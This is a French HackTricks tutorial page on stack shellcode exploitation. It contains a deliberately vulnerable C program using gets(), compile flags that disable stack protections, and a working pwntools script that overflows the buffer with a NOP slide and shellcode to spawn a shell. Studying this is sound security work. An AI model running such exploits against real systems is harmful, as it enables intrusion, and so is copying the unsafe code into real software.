7.3 KiB
Shellcode de la pile
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Informations de base
Le shellcode de la pile est une technique utilisée en exploitation binaire où un attaquant écrit un shellcode dans la pile d'un programme vulnérable, puis modifie le Pointeur d'Instruction (IP) ou le Pointeur d'Instruction Étendu (EIP) pour pointer vers l'emplacement de ce shellcode, le forçant à s'exécuter. Il s'agit d'une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici un aperçu du processus, y compris un exemple simple en C et comment vous pourriez écrire une exploitation correspondante en utilisant Python avec pwntools.
Exemple en C : Un programme vulnérable
Commençons par un exemple simple d'un programme C vulnérable :
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Ce programme est vulnérable à un dépassement de tampon en raison de l'utilisation de la fonction gets()
.
Compilation
Pour compiler ce programme en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante :
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Désactive la protection de la pile.-z execstack
: Rend la pile exécutable, ce qui est nécessaire pour exécuter le shellcode stocké sur la pile.-no-pie
: Désactive l'exécutable indépendant de la position, facilitant la prédiction de l'adresse mémoire où notre shellcode sera situé.-m32
: Compile le programme en tant qu'exécutable 32 bits, souvent utilisé pour simplifier le développement de l'exploit.
Exploit Python utilisant Pwntools
Voici comment vous pourriez écrire un exploit en Python en utilisant pwntools pour effectuer une attaque ret2shellcode:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Ce script construit une charge utile composée d'un glissement NOP, du shellcode, puis écrase l'EIP avec l'adresse pointant vers le glissement NOP, garantissant l'exécution du shellcode.
Le glissement NOP (asm('nop')
) est utilisé pour augmenter les chances que l'exécution "glisse" vers notre shellcode indépendamment de l'adresse exacte. Ajustez l'argument p32()
à l'adresse de départ de votre tampon plus un décalage pour atterrir dans le glissement NOP.
Protections
- ASLR devrait être désactivé pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour savoir où la fonction win est chargée.
- Les Canaris de la pile devraient également être désactivés, sinon l'adresse de retour EIP compromise ne sera jamais suivie.
- NX La protection de la pile empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.
Autres exemples et références
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64 bits, ASLR avec fuite d'adresse de pile, écrire du shellcode et sauter dessus
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bits, ASLR avec fuite de pile, écrire du shellcode et sauter dessus
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bits, ASLR avec fuite de pile, comparaison pour éviter l'appel à exit(), écraser une variable avec une valeur, écrire du shellcode et sauter dessus
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Rejoignez 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.